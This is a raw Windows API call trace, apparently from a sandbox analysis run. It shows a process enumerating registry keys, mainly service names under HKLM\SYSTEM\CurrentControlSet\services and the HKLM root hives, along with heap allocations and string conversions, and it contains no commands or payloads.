[0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x1de4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x1de4408, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x1de4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0249.533] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0249.533] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0249.533] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0249.533] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0249.533] RegCloseKey (hKey=0x154) returned 0x0 [0249.533] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.533] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.533] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.533] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.533] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5ea0) returned 1 [0249.533] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.534] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.534] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.534] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.534] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.534] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.552] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.553] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0249.553] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.553] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.553] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.553] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.553] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.553] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.554] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.554] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.554] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.554] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.554] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0249.554] RegCloseKey (hKey=0x15c) returned 0x0 [0249.554] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.555] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.555] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.555] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.555] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.555] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0249.555] RegCloseKey (hKey=0x154) returned 0x0 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") 